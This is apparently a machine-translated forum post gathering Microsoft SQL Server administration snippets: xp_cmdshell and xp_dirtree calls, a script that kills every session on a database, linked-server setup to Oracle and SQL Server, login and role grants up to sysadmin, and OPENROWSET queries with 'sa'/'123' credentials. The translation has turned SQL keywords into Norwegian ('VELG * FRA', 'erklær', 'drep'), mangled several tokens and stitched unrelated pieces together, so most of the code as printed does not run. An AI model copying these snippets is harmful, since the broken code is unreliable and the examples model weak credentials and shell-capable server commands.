SJEFSMESTER.. XP_dirtree 'c:\',1,1




Administrerende direktør

master.dbo.xp_cmdshell 'dir'


velg antall(*) fra [indiker]
Spør hvor mye data som er i den nåværende tabellen




Velg distinkt vertsnavn,db_name(dbid),net_address,loginame,program_name

fra mester.. sysprosesser






Velg * fra GameDB01. Server01.dbo.cabal_character_table hvor navn='

Gris'





Når du sletter den, står det: Databasen brukes og kan ikke slettes.


Klikk på databasen du vil slette for å åpne hendelsesviseren.


Innspill:


Bruk   

Mester

Så skriv inn følgende:
erklær @d varchar(8000)
sett @d= ' '
velg @d=@d+ ' drep   

'+cast(spid som varchar)+char(13)
fra mester.. sysprosesser hvor dbid=db_id('biblioteknavn')
exec(@d)
--
Bruk kode for å slette prosessen som kobler til denne databasen først












MSSQL driver Oracle gjennom LinkServer






1) Installer Oracle på SQL_SERVER 2005-serveren

9i klient. La oss si at du installerer i C:\ora92i\-katalogen. Hvis D: er en NTFS-partisjon, må du sette ORACLE-installert katalog som den som brukes

Abonnenter har rett til å kjøre, legge til og slette.


2)
Konfigurer C:\ora92i\network\ADMIN\tnsnames.ora-filen. (Følgende røde tekst er et eksempel på en konfigurasjon)


ORCL=


(DEscrip{filter}tION=.)


(ADDRESS_LIST =


(ADRESSE = (PROTOKOLL = TCP)(VERT = 192.168.0.11)(PORT= 1521))


)


(CONNECT_DATA =


(SERVICE_NAME = ork)


)


)


3)
Kjør følgende kommando i DOS-modus for å bekrefte at ORACLE-klienten er installert korrekt.


sqlplus bruker/password@ORCL


4)
Åpne Start - Kontrollpanel - Tjenester og bekreft at tjenesten Distributed Transaction Coordinator er startet.



5) Åpne SQL SERVER Management Studio, instansnavn (ORCL) - Serverobjekt (høyreklikk) - Ny tilkoblingsserver.


1.      


Link-server: Skriv navnet på den lenkede serveren, for eksempel OracleTest.


2.         
Servertype, velg en annen datakilde


3. Tilgangsgrensesnitt:
Velg Oracle Provider for OLE DB


4. Produktnavn: Write Oracle


5. Datakilde: Skriv opp

Tjenestenavnet er konfigurert i tnsnames.ora-filen, for eksempel ORCL


6.         
Tilgangsgrensesnittstreng: userid=sys som sysdba; passord=passord


7.         
På siden Velg sikkerhetsalternativer bruker du denne installasjonskonteksten for å etablere en tilkobling:


a) Fjerninnlogging: bruker (annen bruker, ikke sys)


b)      

    Bruk passord: passord


8. Sett "NT AUTHORITY\SYSTEM" på lokal pålogging, fjernbrukersystem, og sett passordet


9.

         Er du sikker


6) Det finnes to måter å skrive SQL på


a) Bruk av T-SQL-syntaks:


           VELG * FRA

OraTest.ERP.BAS_ITEM_CLASS


           Merk at når du legger inn SQL-setninger i SQL Query Analyzer, bør du være oppmerksom på kinesisk fullbredde- og halvbredde-switching

Vei!


b) Bruk PLSQL-syntaks:
           VELG * FRA openquery(OraTest,'VELG * FRA

OraTest.ERP.BAS_ITEM_CLASS ')


           c) Den andre tilgangsmetoden er omtrent 50 % raskere enn den første; Den andre tilgangsmetoden er direkte koblet sammen

ORACLE er sammenlignbar; Den første tilgangsmetoden kan føre til noen uventede feil, som for eksempel:
           Tabellen eksisterer ikke, eller den nåværende brukeren

Det er ingen tilgang til bordet, og så videre.


           d) Hvis kolonnen som må aksesseres bruker datatyper uten presisjon, vil begge disse

Dette er en feil i ORACLE som ikke kan fikses, og som kun kan unngås ved spesiell håndtering av spørringssetninger:


     Metadataene som leveres av OLE DB-leverandøren 'OraOLEDB.Oracle' for kolonnene er inkonsistente. Metadatainformasjon endres ved utførelse.










mssql lagt til

Slett brukeren og gi tillatelser


Bruk biblioteknavnet ditt   
Gå   
--Legg til brukere   
Leder sp_addlogin 'test' – legg til innlogging   
Administrerende direktør

sp_grantdbaccess N'test' – å gjøre den til en legitim bruker av den nåværende databasen   
leder sp_addrolemember N'db_owner',

N'test' – gir alle tillatelser til sin egen database   
--Dette skaper brukere som kun kan få tilgang til sin egen database og det som er inkludert i databasen

offentlig tabell for gjestebrukere   
Gå   
--Fjern testbruker   
exec sp_revokedbaccess N'test' – Fjern tilgangen til databasen

Grense   
exec sp_droplogin N'test' – slett innlogging   
Hvis du oppretter det i Enterprise Manager, bruk:   
Enterprise Manager - Sikkerhet

Sex --Høyreklikk Innlogg--Ny innlogging   
Generelle artikler   
--Skriv inn brukernavnet i navnet   

--Autentiseringsmetoden velges etter dine behov (hvis du bruker Windows-autentisering, må du først opprette en ny bruker blant brukerne av operativsystemet)   

--I standardinnstillingene, velg databasenavnet du ønsker å få tilgang til for den nye brukeren   
Serverrolle-elementet   
Ikke velg noe i dette   
database

Tilgangsobjekt   
Sjekk navnet på databasen du ønsker å få tilgang til for brukeren du oppretter   
Tillat i databaserollen, kryss av for "offentlig", "db_ownew"   
Selvfølgelig, dette

Brukeren som opprettes av eksempelet er den samme som brukeren som ble opprettet av setningen ovenfor   



Det siste steget er å sette spesifikke tilgangstillatelser for spesifikke brukere, som kan refereres til følgende minimale eksempel:   

--Legg til brukere som kun har tilgang til den angitte tabellen:   
exec sp_addlogin 'brukernavn', 'passord', 'standard databasenavn'   

--legg til i databasen   
exec sp_grantdbaccess 'brukernavn'   

--Tildel hele tabell-tillatelser   
GI VELG , SETT INN, OPPDATER , SLETT på tabell1 TIL [brukernavn]   
--Tildel tillatelser til spesifikke kolonner   
GRANT SELECT, OPPDATER I tabell1(id,AA) TIL [brukernavn]   


For spesifikke sikkerhetsinnstillinger og teoretisk kunnskap, vennligst se SQL Online Help  







Beskrivelse av fast databaserolle   
  db_owner Ha full tillatelse i databasen.   

db_accessadmin Du kan legge til eller fjerne bruker-IDer.   

db_securityadmin Kan administrere fulle tillatelser, objekteierskap, roller og rollemedlemskap.   

db_ddladmin kan utstede ALLE DDL-uttalelser, men ikke GRANT, REVOKE eller AVSLÅ.   

db_backupoperator kan utstede DBCC-, CHECKPOINT- og BACKUP-setninger.   

db_datareader Du kan velge all data fra hvilken som helst brukertabell i databasen.   

db_datawriter Du kan endre all data i hvilken som helst brukertabell i databasen.   

db_denydatareader Du kan ikke velge noen data fra noen brukertabell i databasen.   

db_denydatawriter Du kan ikke endre noen data i noen brukertabell i databasen.  





Du bør velge db_datareader, db_datawriter, db_accessadmin




5.
Etter at SQL Server-instansen er startet i enkeltbrukermodus, kan Windows-administratorkontoen bruke sqlcmd-verktøyet for å koble til i Windows-autentiseringsmodus

SQL Server。 Du kan bruke T-SQL-kommandoer som "sp_addsrvrolemember" for å legge til en eksisterende pålogging til sysadmin-serverrollen

Eller opprett en ny innloggingskonto.
Et eksempel på en uttalelse er som følger:


EXEC sp_addsrvrolemember 'CONTOSO\Buck', 'sysadmin';





Legg til en sysadmin-rettighet








(1) Administrer serverroller


I SQL Server finnes det to hovedlagrede prosedyrer som implementerer SQL Server-rollehåndtering:


sp_addsrvrolemember

og sp_dropsrvrolemember


sp_addsrvrolemember
Du kan legge til en innloggingskonto i en serverrolle for å gjøre den til medlem av den serverrollen. Syntaksen er som følger:
sp_addsrvrolemember

Logg inn, rolle


sp_dropsrvrolemember
Du kan slette en innloggingskonto fra en serverrolle, og når medlemmet fjernes fra serverrollen, har den ikke lenger den serverrollen

Tillatelsene satt. Syntaksen er som følger:
sp_dropsrvrolemember [@loginname=]'login',[@rolename=]'rolle'


Dertil

@loginname er navnet på den innloggede brukeren; @rolename er en serverrolle.




(2) Administrere databaseroller


I SQL Server støttes databaseadministrasjon

Det finnes seks hovedtyper lagrede prosedyrer, og deres spesifikke betydninger og syntaks er som følger:


sp_addrole: Brukes til å opprette en ny databaserolle;
sp_addrole

rolle, eier


sp_droprole: Brukes til å fjerne en databaserolle fra den nåværende databaserollen;
sp_droprole rolle


sp_helprole:

Den brukes til å vise all informasjon om alle databaseroller i den nåværende databasen;
sp_helprole ['rolle']


sp_addrolemember: Brukes til å sende til databasen

Legg til databasebrukere i en rolle, som kan være brukerdefinerte standardroller eller faste databaseroller, men som ikke kan være det

Søknadsroller.
sp_addrolemember rolle, security_account


sp_droprolemember: Ble brukt til å slette en bestemt karakter

husholdning;
sp_droprolemember rolle, security_account


sp_helprolemember: Brukes til å vise alle medlemmer av en databaserolle


sp_helprolemember ['rolle']






MSSQL LINKSERVER-spørring


----------------------------------------------------------------------------------
-- Forfatter:

htl258(Tony)
-- Dato: 2010-06-25 22:23:18
-- Versjon: Microsoft SQL Server 2008 (RTM) -

10.0.1600.22 (Intel X86)
-- 9. juli 2008 14:43:34
-- Opphavsrett (c) 1988-2008 Microsoft Corporation
--

Utviklerutgave på Windows NT 5.1 (Build 2600: Service Pack 2)
-- Blogg : -- Emne:
SQL-dataoperasjoner mellom ulike serverdatabaser
----------------------------------------------------------------------------------
--1.
Lag en linkserver
--1.1 Opprett et lenkenavn
EXEC sp_addlinkedserver 'LinkName','','SQLOLEDB', navnet på den eksterne serveren

eller IP-adresse' --
Hvis du har et egendefinert instansnavn, legg til "\instansnavn"
/*例如:EXEC sp_addlinkedserver

'TonyLink','','SQLOLEDB','192.168.58.208' */
--1.2
Opprett en innlogging (eller lag et link-server-innloggingskart) (velg bare én måte)
--1.2.1
Logg inn med Windows-autentisering
EXEC sp_addlinkedsrvlogin 'LinkName'
--eller EXEC sp_addlinkedsrvlogin 'LinkName', 'true'
/*例如:EXEC sp_addlinkedsrvlogin 'TonyLink' */
--1.2.2
Logg inn med SQL-autentisering
EXEC sp_addlinkedsrvlogin 'LinkName', 'false', NULL,'Brukernavn', 'Passord'
/*例如:EXEC

sp_addlinkedsrvlogin 'TonyLink','false', null,'sa','123' */
--2.
Link-server-relaterte dataoperasjoner
--2.1 Spørringseksempel
VELG * FRA LinkName.database name.schema name.table name
/*例如:SELECT *

FRA TonyLink.Mydb.dbo.tb */
--
2.2 Importeksempel
VELG * INN i tabellnavn FRA LinkName.database name.schema name.table name
/*例如:SELECT * INTO Newtb

FRA TonyLink.Mydb.dbo.tb */
--
2.3 Oppdateringseksempel
OPPDATERING LinkName.Database Name.Schema Name.Table Name SET field='value' WHERE field='condition'
/*例如:UPDATE

TonyLink.Mydb.dbo.tb SET Persons='g' HVOR Persons='a' */
--
2.4 Slett-eksempler
DELETE LinkName.Database Name.Schema Name.Table Name WHERE field name='condition'
/*例如:DELETE

TonyLink.Mydb.dbo.tb HVOR Persons='g' */
--3 via radsett-funksjonen (OPENQUERY/OPENROWSET/OPENDATASOURCE).

Metode
-
3.1 OPENQUERY-metoden (krever hjelp fra link-serveren du nettopp har opprettet):
--
3.1.1 Spørringseksempel
VELG * FRA OPENQUERY(LinkName, 'VELG * FRA databasenavn. Arkitekturens navn. bordnavn')
/*
For eksempel: SELECT * FROM OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') */
--
3.1.2 Importeksempler
--3.1.2.1 Importer alle kolonner
INSERT OPENQUERY(LinkName, 'SELECT * FROM databasenavn. Arkitekturens navn. Tabellnavn

') VELG * FRA lokal tabell
/* 例如:INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb') SELECT *

FRA TB */
--3.1.2.2
Importer de spesifiserte kolonnene
INSERT OPENQUERY(LinkName, 'SELECT * FROM databasenavn. Arkitekturens navn. tabellnavn') (kolonne, kolonne...)
SELECT-kolonnen,

Kolonne... FRA lokal tabell
/*
For eksempel: INSERT OPENQUERY(TonyLink,'SELECT * FROM Mydb.dbo.tb')(RANGE,LEVEL,Persons)
VELGE

OMRÅDE, NIVÅ, Personer FRA TB
*/
--3.1.3
Oppdateringseksempler
UPDATE OPENQUERY(LinkName, 'SELECT * FROM databasenavn. Arkitekturens navn. tabellnavn') SET-feltet = 'verdi' HVOR ordet

Segment = 'Tilstand'
/*例如:UPDATE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') SET Persons='g' WHERE

Persons='a' */
--3.1.4
Slett eksempler
DELETE OPENQUERY(LinkName, 'SELECT * FROM databasenavn. Arkitekturens navn. tabellnavn') HVOR feltnavn='betingelse'
/*例

For eksempel: DELETE OPENQUERY(TonyLink, 'SELECT * FROM Mydb.dbo.tb') HVOR Persons='g' */
--3.2
OPENROWSET-metoden (du trenger ikke bruke navnet på den opprettede lenken.) Hvis det tilkoblede instansnavnet ikke er standard, må du sette det i SQL Server-navn eller IP-adresse.

"\instansnavn")
--3.2.1 Spørringseksempel
--3.2.1.1
Windows-autentiseringsmetodespørring (en av følgende metoder er tilstrekkelig)
VELG * FRA OPENROWSET('SQLOLEDB', 'server=sql servernavn eller

IP-adresse; Trusted_Connection=ja', databasenavn. Arkitekturens navn. Bordnavn)
VELG * FRA OPENROWSET('SQLNCLI',

'server=sql servernavn eller IP-adresse; Trusted_Connection=ja', databasenavn. Arkitekturens navn. Bordnavn)
VELG * FRA

OPENROWSET('SQLOLEDB', 'server=sql servernavn eller IP-adresse; Trusted_Connection=ja','VELG * FRA databasen

Navn. Arkitekturens navn. bordnavn')
VELG * FRA OPENROWSET('SQLNCLI', 'server=sql servernavn eller IP-adresse

Adresse; Trusted_Connection=ja','VELG * FRA databasenavn. Arkitekturens navn. bordnavn')
/*
For eksempel: VELG * FRA OPENROWSET

('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=ja',Mydb.dbo.tb)

Eller: VELG * FRA OPENROWSET

('SQLNCLI','Server=192.168.58.208; Trusted_Connection=ja',Mydb.dbo.tb)

Eller: VELG * FRA OPENROWSET('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=ja','VELG *

FRA Mydb.dbo.tb')

Eller: VELG * FRA OPENROWSET('SQLNCLI','Server=192.168.58.208; Trusted_Connection=ja','VELG *

FRA Mydb.dbo.tb')
*/
--3.2.1.2 SQL-autentiseringsmetodespørring (En av følgende metoder er tilstrekkelig)
VELG * FRA OPENROWSET

('SQLOLEDB', 'server=sql servernavn eller IP-adresse; uid=brukernavn; pwd=passord', databasenavn. Arkitekturens navn. Bordnavn)
VELG * FRA

OPENROWSET('SQLNCLI', 'server=sql servernavn eller IP-adresse; uid=brukernavn; pwd=passord', databasenavn. Arkitekturens navn. Bordnavn)
VELG * FRA OPENROWSET('SQLOLEDB', 'server=sql servernavn eller IP-adresse; uid=brukernavn; pwd=passord','VELG *

FROM databasenavn. Arkitekturens navn. bordnavn')
VELG * FRA OPENROWSET('SQLNCLI', 'server=sql servernavn eller IP-adresse; uid=

Brukernavn; pwd=passord','VELG * FRA databasenavn. Arkitekturens navn. bordnavn')
VELG * FRA OPENROWSET('SQLOLEDB', 'sql

servernavn'; 'brukernavn'; 'passord', databasenavn. Arkitekturens navn. Bordnavn)
VELG * FRA OPENROWSET('SQLNCLI', 'SQL SERVER NAME'

'; 'brukernavn'; 'passord', databasenavn. Arkitekturens navn. Bordnavn)
VELG * FRA OPENROWSET('SQLOLEDB', 'SQL SERVER NAME'; ' bruker

navn'; 'Passord', 'VELG * FRA databasenavn. Arkitekturens navn. bordnavn')
VELG * FRA OPENROWSET('SQLNCLI', 'sql server)

navn'; 'brukernavn'; 'Passord', 'VELG * FRA databasenavn. Arkitekturens navn. bordnavn')
/* 例如:SELECT * FROM OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
Eller: VELG * FRA OPENROWSET

('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
Eller: VELG * FRA OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123','VELG * FRA Mydb.dbo.tb')

eller: VELG * FRA OPENROWSET('SQLNCLI','server=192.168.58.208; uid=sa; pwd=123','VELG * FRA

Mydb.dbo.tb')

eller: VELG * FRA OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)

eller: VELG * FRA OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123', mydb.dbo.tb)

eller: VELG * FRA OPENROWSET('SQLOLEDB','192.168.58.208'; 'sa'; '123','VELG * FRA Mydb.dbo.tb')

eller: VELG * FRA OPENROWSET('SQLNCLI','192.168.58.208'; 'sa'; '123','VELG * FRA Mydb.dbo.tb')
*/
--3.2.2 Importeksempel
--3.2.2.1 Importer alle kolonner
INSERT OPENROWSET('SQLOLEDB', 'server=sql servernavn eller IP-adresse

Adresse; uid=brukernavn; pwd=passord', databasenavn. Arkitekturens navn. Bordnavn)
VELG * FRA lokal tabell
/* 例如:INSERT OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
VELG * FRA TB
*/
--3.2.2.2 Import

Spesifiser kolonner
INSERT OPENROWSET('SQLOLEDB', 'server=sql servernavn eller IP-adresse; uid=brukernavn; pwd=passord', databasenavn. Rack

Konstruksjonsnavn. tabellnavn) (kolonne, kolonne...)
VELG kolonne, kolonne... FRA lokal tabell
/* 例如:INSERT OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)(AVSTAND,NIVÅ,Personer)
VELGE

OMRÅDE, NIVÅ, Personer FRA TB
*/
--Merk: For flere alternative metoder, se .2.1-spørringseksempelet, bare erstatt OPENROWSET-funksjonen

Innholdet er tilstrekkelig.
--3.2.3 Oppdateringseksempel
OPPDATER OPENROWSET('SQLOLEDB', 'server=sql servernavn eller IP-adresse; uid=brukernavn

;p wd=passord', databasenavn. Arkitekturens navn. Bordnavn)
SET-felt = 'verdi'
HVOR felt = 'betingelse'
/*例如:UPDATE OPENROWSET

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
SET Persons='g'
HVOR Persons='a'
*/
--Merk: For flere alternative metoder, se .2.1-spørringseksempelet, bare erstatt innholdet i OPENROWSET.
--3.2.4 Slett indikasjonen

Eksempel
SLETT OPENROWSET('SQLOLEDB', 'server=sql servernavn eller IP-adresse; uid=brukernavn; pwd=passord', databasenavn. Skjemanavn

.tabellnavn)
WHERE feltnavn='betingelse'
/*
For eksempel: DELETE OPENROWSET('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123',mydb.dbo.tb)
HVOR

Persons='g'
*/
--Merk:
For flere alternative metoder, se .2.1-spørringseksempelet, bare erstatt innholdet i OPENROWSET.
--3.3 OPENDATASOURCE-metoden

(Du trenger ikke bruke navnet på den opprettede lenken.) Hvis instansnavnet på tilkoblingen ikke er standard, må du legge til \instansnavn etter sql-serverens navn eller IP-adresse

")
--3.3.1
Spørringseksempel
--3.3.1.1 Windows autentiseringsmetode spørring (En av følgende metoder er tilstrekkelig)
VELG * FRA OPENDATASOURCE('SQLOLEDB',

'server=sql servernavn eller IP-adresse; Trusted_Connection=ja'). Databasenavn. Arkitekturens navn. Tabellnavn
VELG * FRA

OPENDATASOURCE('SQLNCLI', 'server=sql servernavn eller IP-adresse; Trusted_Connection=ja'). Databasenavn. Arkitekturens navn.

Tabellnavn
/*
For eksempel: VELG * FRA OPENDATASOURCE

('SQLOLEDB','Server=192.168.58.208; Trusted_Connection=ja'). Mydb.dbo.tb

Eller: VELG * FRA OPENDATASOURCE

('SQLNCLI','Server=192.168.58.208; Trusted_Connection=ja'). Mydb.dbo.tb
*/
--3.3.1.2
SQL-autentiseringsmetodespørring (en av følgende metoder er tilstrekkelig)
VELG * FRA OPENDATASOURCE('SQLOLEDB', 'server=sql servernavn eller

IP-adresse; uid=brukernavn; pwd=passord').
Databasenavn. Arkitekturens navn. Tabellnavn
VELG * FRA OPENDATASOURCE('SQLNCLI', 'server=sql servernavn eller IP-adresse; uid=bruker

Navn; pwd=passord').
Databasenavn. Arkitekturens navn. Tabellnavn
VELG * FRA OPENDATASOURCE('SQLOLEDB', 'Data Source=sql servernavn eller IP-adresse

Adresse; uid=brukernavn; pwd=passord').
Databasenavn. Arkitekturens navn. Tabellnavn
VELG * FRA OPENDATASOURCE('SQLNCLI', 'Data Source=sql servernavn eller IP-adresse

Adresse; uid=brukernavn; pwd=passord').
Databasenavn. Arkitekturens navn. Tabellnavn
/* 例如:SELECT * FROM OPENDATASOURCE

('SQLOLEDB','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Eller: VELG * FRA OPENDATASOURCE('SQLNCLI','Server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Eller: VELG * FRA OPENDATASOURCE('SQLOLEDB','Data

Kilde=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

Eller: VELG * FRA OPENDATASOURCE('SQLNCLI','Data

kilde=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
*/
Importer alle kolonner
SETT INN OPENDATASOURCE('SQLOLEDB', 'server=sql servernavn eller IP-adresse; uid=brukernavn; pwd=passord').

Ifølge navnet på biblioteket. Arkitekturens navn. Tabellnavn
VELG * FRA lokal tabell
/*
For eksempel: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
VELGE

* FRA TBB
*/
--3.3.2.2
Importer de spesifiserte kolonnene
SETT INN OPENDATASOURCE('SQLOLEDB', 'server=sql servernavn eller IP-adresse; uid=brukernavn; pwd=passord').

Ifølge navnet på biblioteket. Arkitekturens navn. Tabellnavn (kolonne, kolonne...)
VELG kolonne, kolonne... FRA lokal tabell
/*
For eksempel: INSERT OPENDATASOURCE('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb

(AVSTAND, NIVÅ, Personer)
VELG OMRÅDE, NIVÅ, Personer FRA TB
*/
--Merk:
For flere alternative metoder, se .3.1-spørringseksempelet, bare erstatt innholdet i linjesettsfunksjonen (OPENDATASOURCE).
--3.3.3 Oppdateringseksempel
OPPDATER OPENDATASOURCE('SQLOLEDB', 'server=sql servernavn eller IP-adresse; uid=brukernavn; pwd=passord').
Databasenavn. Arkitekturens navn. Tabellnavn
SET-felt = 'verdi'
HVOR felt = 'betingelse'
/*例如:UPDATE OPENDATASOURCE

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
SET Persons='g'
HVOR Persons='a'
*/
--Merk:
For flere alternative metoder, se .3.1-spørringseksempelet, bare erstatt innholdet i linjesettsfunksjonen (OPENDATASOURCE).
--3.3.4 Slett-eksempel
DELETE OPENDATASOURCE('SQLOLEDB', 'server=sql servernavn eller IP-adresse; uid=brukernavn; pwd=passord').
Databasenavn. Arkitekturens navn. Tabellnavn
WHERE feltnavn='betingelse'
/*例如:DELETE OPENDATASOURCE

('SQLOLEDB','server=192.168.58.208; uid=sa; pwd=123').mydb.dbo.tb
HVOR Persons='g'
*/
- Merk: Flere alternativer

Se eksempelet med .3.1-spørringen, bare erstatt innholdet i radsettfunksjonen (OPENDATASOURCE).
--
Slett den lenkede servermetoden
--Hvis du ikke lenger bruker lenkeinformasjonen i fremtiden, kan du slette lenkeinformasjonen
--4.1
Slett innloggingsinformasjon (eller slett tilkoblet server-innloggingsnavnekart)
EXEC sp_droplinkedsrvlogin 'LinkName', NULL
/*
For eksempel: EXEC sp_droplinkedsrvlogin 'TonyLink', NULL */
--4.2
Slett det lenkede servernavnet
EXEC sp_dropserver 'LinkName', 'droplogins' – hvis droplogins er spesifisert,
Innloggingskartet må slettes før den tilknyttede serveren slettes
/*例如:EXEC sp_dropserver 'TonyLink','droplogins' */


--Vedlagt


Hvordan få leverandørnavnet (EXEC-master). xp_enum_oledb_providers)
VELG ROLLEBESETNING([Leverandørnavn] SOM

VARCHAR(30)) ProviderName,
CAST([Provider Descrip{filtering}tion] AS VARCHAR(60)) ProviderDescrip{filtering}tion
FRA

OPENROWSET(
'SQLOLEDB',
'Server=.; Trusted_Connection=ja',
'SETT FMTONLY I GANG;
EXEC

Mester.. xp_enum_oledb_providers'
)




Foregående:UCloud sårbarhetshåndteringsprosess og belønningsdetaljer
Neste:Jeg kan rekke toget hjem i dag, og jeg har ikke vært hjemme på over et halvt år
Publisert på 27.09.2017 17:43:11 |
Veldig detaljert. Takk.
 Vert| Publisert på 17.06.2023 11:12:11 |
Test SQL-injeksjonstesting med SQLMAP-infiltrasjonsverktøyet
https://www.itsvse.com/thread-10611-1-1.html
Ansvarsfraskrivelse:
All programvare, programmeringsmateriell eller artikler publisert av Code Farmer Network er kun for lærings- og forskningsformål; Innholdet ovenfor skal ikke brukes til kommersielle eller ulovlige formål, ellers skal brukerne bære alle konsekvenser. Informasjonen på dette nettstedet kommer fra Internett, og opphavsrettstvister har ingenting med dette nettstedet å gjøre. Du må fullstendig slette innholdet ovenfor fra datamaskinen din innen 24 timer etter nedlasting. Hvis du liker programmet, vennligst støtt ekte programvare, kjøp registrering, og få bedre ekte tjenester. Hvis det foreligger noen krenkelse, vennligst kontakt oss på e-post.

Mail To:help@itsvse.com